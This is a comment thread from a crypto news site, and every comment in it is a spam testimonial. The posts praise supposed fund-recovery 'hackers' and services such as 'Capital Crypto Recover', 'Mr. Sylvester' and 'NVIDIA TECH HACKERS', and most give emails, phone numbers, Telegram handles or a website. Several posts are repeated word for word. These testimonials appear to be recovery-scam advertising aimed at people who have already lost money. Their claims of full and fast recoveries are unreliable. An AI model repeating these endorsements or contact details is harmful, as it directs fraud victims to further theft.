    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon